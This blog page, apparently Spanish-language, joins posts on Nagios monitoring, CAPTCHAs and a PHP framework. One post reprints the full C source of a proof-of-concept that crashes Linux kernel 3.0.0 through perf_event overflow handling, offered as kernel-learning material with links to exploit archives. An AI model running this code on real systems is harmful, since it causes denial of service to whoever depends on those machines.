Nagios – Infografía

Siguiendo con la actualización de la Wik y las mejoras de documentación, estuve armando unas infografías simples, aca subo una de ellas.

infografia_nagiosAdemás estuve modificando el aspecto visual de la Wiki y deje el tema por default de dokuwiki.

Personalmente me parece que para entradas largas, no es muy claro a la hora de definir títulos diferentes, por eso recomiendo exportar a ODT para poder leer mejor

http://wiki.cayu.com.ar/doku.php?id=manuales:nagios

Posteos relacionados:

Linux 3.0.0 crash oflo_sw_cpu_clock_crash

Mirando sitios como http://1337day.com/ y http://www.gossamer-threads.com/ encontre uno de tantos bugs para el kernel 3.0, pero aca hay un ejemplo de explotación de uno, esta bueno para aprender un poco mas de funcionamiento del Kernel. Ademas en gossamer-threads pueden encontrar varios mensajes de listas de correo muy interesantes

Básicamente tenemos un crash en el SO, lo que esta bueno es que al ser un código pequeño se puede analizar fácilmente

/* Error with overflows and perf::perf_count_sw_cpu_clock                    */
/* This test will crash Linux 3.0.0                                          */
/* compile with gcc -O2 -o oflo_sw_cpu_clock_crash oflo_sw_cpu_clock_crash.c */

/* by Vince Weaver <vweaver1 _at_ eecs.utk.edu>                              */

#define _GNU_SOURCE 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <fcntl.h>

#include <linux/perf_event.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <sys/ioctl.h>

#include <sys/mman.h>

#include <signal.h>

#include <sys/prctl.h>

#define MATRIX_SIZE 512
static double a[MATRIX_SIZE][MATRIX_SIZE];
static double b[MATRIX_SIZE][MATRIX_SIZE];
static double c[MATRIX_SIZE][MATRIX_SIZE];

static void naive_matrix_multiply(int quiet) {

  double s;
  int i,j,k;

  for(i=0;i<MATRIX_SIZE;i++) {
    for(j=0;j<MATRIX_SIZE;j++) {
      a[i][j]=(double)i*(double)j;
      b[i][j]=(double)i/(double)(j+5);
    }
  }

  for(j=0;j<MATRIX_SIZE;j++) {
     for(i=0;i<MATRIX_SIZE;i++) {
        s=0;
        for(k=0;k<MATRIX_SIZE;k++) {
	   s+=a[i][k]*b[k][j];
	}
        c[i][j] = s;
     }
  }

  s=0.0;
  for(i=0;i<MATRIX_SIZE;i++) {
    for(j=0;j<MATRIX_SIZE;j++) {
      s+=c[i][j];
    }
  }

  if (!quiet) printf("Matrix multiply sum: s=%lf\n",s);

  return;
}

static int total=0;

void our_handler(int signum,siginfo_t *oh, void *blah) {

  int fd=oh->si_fd;

  ioctl(fd , PERF_EVENT_IOC_DISABLE,0);
  total++;
  ioctl(fd , PERF_EVENT_IOC_REFRESH,1);
}

int perf_event_open(struct perf_event_attr *hw_event_uptr,
		    pid_t pid, int cpu, int group_fd, unsigned long flags) {

  return syscall(__NR_perf_event_open,hw_event_uptr,pid,cpu,group_fd,flags);

}

int main( int argc, char **argv ) {

	int fd;
	void *blargh;

	struct perf_event_attr pe;

	struct sigaction sa;

	memset(&sa, 0, sizeof(struct sigaction));
	sa.sa_sigaction=our_handler;
	sa.sa_flags=SA_SIGINFO;

	if (sigaction(SIGIO,&sa,NULL)<0) {
	  fprintf(stderr,"Error setting up signal handler\n");
	  exit(1);
	}

        memset(&pe,0,sizeof(struct perf_event_attr));	
	pe.type=PERF_TYPE_SOFTWARE;
	pe.size=sizeof(struct perf_event_attr);
        pe.config=PERF_COUNT_SW_CPU_CLOCK;
	pe.sample_period=100000;
	pe.sample_type=PERF_SAMPLE_IP;
	pe.read_format=PERF_FORMAT_GROUP|PERF_FORMAT_ID;
	pe.disabled=1;
	pe.pinned=1;
	pe.exclude_kernel=1;
	pe.exclude_hv=1;
	pe.wakeup_events=1;

	fd=perf_event_open(&pe,0,-1,-1,0);
	if (fd<0) {
	   printf("Error opening\n");
	}

	blargh=mmap(NULL,(1+2)*4096,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);
	fcntl(fd,F_SETFL,O_RDWR|O_NONBLOCK|O_ASYNC);
	fcntl(fd,F_SETSIG,SIGIO);
	fcntl(fd,F_SETOWN,getpid());

	ioctl(fd,PERF_EVENT_IOC_RESET,0);
	ioctl(fd,PERF_EVENT_IOC_ENABLE,0);

	naive_matrix_multiply(0);

	ioctl(fd,PERF_EVENT_IOC_DISABLE,0);
	munmap(blargh,(1+2)*4096);
	close(fd);

	printf("Total overflows: %d\n",total);

	return 0;
}

Referencias :
http://1337day.com/exploits/16813
http://www.gossamer-threads.com/lists/engine?do=post_attachment;postatt_id=43808;list=linux
http://www.securityhome.eu/exploits/

Posteos relacionados:

Capchas entretenidos

Viendo peculiares capchas tengo que comentar dos de ellos

uno el resistor capcha que tenes que indicar la capacidad de la resistencia en ohms http://wordpress.org/extend/plugins/resisty/

 

y tambien tenemos otro muy peculiar de escribir los dos animales http://gonzo.teoriza.com/animal-captcha

para hacer un poco mas realmente humano los capchas y algo entendible 🙂

Posteos relacionados:

Monitoria y análisis de Red con Nagios 2010

Las redes de cómputo de las organizaciones, se vuelven cada vez más complejas y la exigencia de la operación es cada vez mas demandante. Las redes, cada vez mas, soportan aplicaciones y servicios estratégicos de las organizaciones. Por lo cual el análisis y monitoreo de redes se ha convertido en una labor cada vez mas importante y de carácter pro-activo para evitar problemas.

Para prevenir errores en un sistema existe podemos utilizar un equipo que se ocupe de estar “controlado y observando” el funcionamiento de la red, esto podemos realizarlo por medio de un software llamado Nagios.

Nagios es un sistema de monitorización de equipos y de servicios de red, escrito en C y publicado bajo la GNU General Public License, el lenguage con el cual esta desarrollado nos asegura una rápida ejecución y su licencia que lo determina como Software Libre nos asegura que siempre tendremos actualizaciones disponibles y que hay una gran comunidad de desarrolladores soportándolo.

Creado para ayudar a los administradores a tener siempre el control de qué está pasando en la red que administran y conocer los problemas que ocurren en la infraestructura que administran antes de que los usuarios de la misma los perciban, para así no sólo poder tomar la iniciativa, sino asumir la responsabilidad de hacer que las cosas sucedan; decidir en cada momento lo que queremos hacer y cómo lo vamos a hacer, debido a que este software nos permite obtener datos, interpretarlos y tomar decisiones en base a ello como:

  • Conservar y almacene datos de la red para manejar reportes y tendencias
  • Ver y analizar la red, así como el tráfico de la red a través del tiempo
  • Monitorear el estado de la red en comparación a los reportes de análisis
  • Generar reportes sustentados para justificar las necesidades de actualización de la red

Para facilitar tareas de explotación de datos, hay diferentes aditivos como un visor de reportes integrados, en el cual se puede ver el histórico de actividad y performance de servicios, y además un visor de diagramas de red con el estado actual de cada equipo.

El mismo, esta constituido por un Núcleo que construye la interfaz de usuario y por plugins los cuales representan los ojos y oídos de Nagios y por lo cual se encargan de recopilar información (bajo demanda). Los mismos pueden estar programados en diversos lenguajes como C, C++, Python, Perl, PHP, Java, Bash etc, ya que Nagios es independiente del lenguaje en el cual que se desarrolle el plugin y solo procesa los datos recibidos de este, para la posterior elaboración y envío de notificaciones a los encargados de la administración del sistema en cuestión.

Objetivos y necesidades

Conocer el estado de diferentes servicios brindados por equipos como servidores corriendo diferentes sistemas operativos, routers de los cuales dependen varios equipos. Obtener información de los mismos como estado en red, tiempo arriba, puertos abiertos, servicios y procesos corriendo, carga de CPU, carga de memoria física, carga de memoria virtual, espacio en disco, interfaces de red activas. Es posible conocer los estados y datos de estos diferentes equipos para una posterior elaboración de reportes etc, elaborando una configuración personalizada de Nagios para cada caso en particular, por medio de testeo de paquetes de red, o haciendo uso de diferentes funciones que provee el protocolo SNMP (Simple Network Management Protocol) que nos permite gestionar y/o supervisar datos de diferentes elementos y componentes de la red como routers, switches, servidores etc y al ser un protocolo standard es posible monitorizar una amplia variedad de casos en escenarios con sistemas ó equipos diferentes.

Con lo cual podremos concluir si el sistema :

  • Lleva a cabo eficazmente su finalidad
  • Utiliza eficientemente los recursos.

Ya que podemos :

  • Detectar de forma sistemática el uso de los recursos y los flujos de información dentro de una organización.
  • Determinar qué información es crítica para el cumplimiento de su misión y objetivos, identificando necesidades, duplicidades, costos, valor y barreras, que obstaculizan flujos de información eficientes.
  • Análizar de eficiencia del sistema.
  • Verificar el cumplimiento de Normativas.
  • Revisión de la gestión de recursos.

Descripción

Que se puede hacer con Nagios

  • Monitorización de servicios de red (SMTP, POP3, HTTP, NTTP, ICMP, SNMP).
  • Monitorización de los recursos de un host (carga del procesador, uso de los discos, logs del sistema) en varios sistemas operativos, incluso Microsoft Windows con el plugin NRPE_NT.
  • Monitorización remoto, a través de túneles SSL cifrados o SSH.
  • Diseño simple de plugins, que permiten a los usuarios desarrollar sus propios chequeos de servicios dependiendo de sus necesidades, usando sus herramientas preferidas (Bash, C++, Perl, Ruby, Python, PHP, C#, Java, etc.).
  • Chequeo de servicios paralizados.
  • Posibilidad de definir la jerarquía de la red, permitiendo distinguir entre host caídos y host inaccesibles.
  • Notificaciones a los contactos cuando ocurren problemas en servicios o hosts, así como cuando son resueltos ( Vía email, pager, Jabber, SMS o cualquier método definido por el usuario junto con su correspondiente complemento).
  • Posibilidad de definir manejadores de eventos que ejecuten al ocurrir un evento de un servicio o host para resoluciones de problemas proactivas.
  • Rotación automática del archivo de registro.
  • Soporte para implementar hosts de monitores redundantes.
  • Interfaz web opcional, para observar el estado de la red actual, notificaciones, historial de problemas, archivos de registros, etc.
  • Reportes y estadísticas del estado cronológico de disponibilidad de servicios y hosts.

Quien va a usar Nagios

  • Administradores de Redes con alto conocimiento tecnico
  • Operadores con minimo conocimiento tecnico de la situacion, o conocimiento puntual de algun servicio
    • Pudiedo avisar y ayudar a determinar posibles causas de efectos producidos
  • Equipos de desarrollo
  • Coordinadores de Mesas de Ayuda
  • Areas relacionadas

Como impacta

  • Mejora de productividad
  • Antelacion de problemas
  • Reporte y aviso de incidentes
    • Agilidad en su tratamiento
  • Mejor y mayor relacion e integracion de sectores adjuntos

Recién  después de tanto tiempo publico una nueva revisión del PDF del Manual de Nagios disponible en el Wiki

http://cayu.com.ar/wiki/doku.php?id=manuales:nagios

aca va el PDF

http://cayu.com.ar/files/manuales-nagios.pdf

igualmente desde el wiki pueden utilizar al exportación automática a ODT OpenDocumenT de OpenOffice

Posteos relacionados:

Build It Fast PHP Framework

Asi se presentaba BIF

Build it Fast (BIF) is a PHP Framework. It contains several classes that help you develop complex Web applications in a short amount of time. It brings the concept of the ‘widget’ to Web development. It features Cascade Skins and transparent session management.

Build it Fast (BIF) es un marco de trabajo (framework) escrito en PHP. Contiene varias clases que te ayudan a desarrollar aplicaciones web complejas en un período de tiempo corto. Utiliza el concepto de ‘widget’ en el desarrollo web. Hace uso de Pieles y manejo de sesiones.

Ahora en version renovada con soporte de PHP5 y algunas clases agregadas lo podemos ver en :

http://code.google.com/p/builditfast/

Proximamente nueva web

Posteos relacionados:

Facebook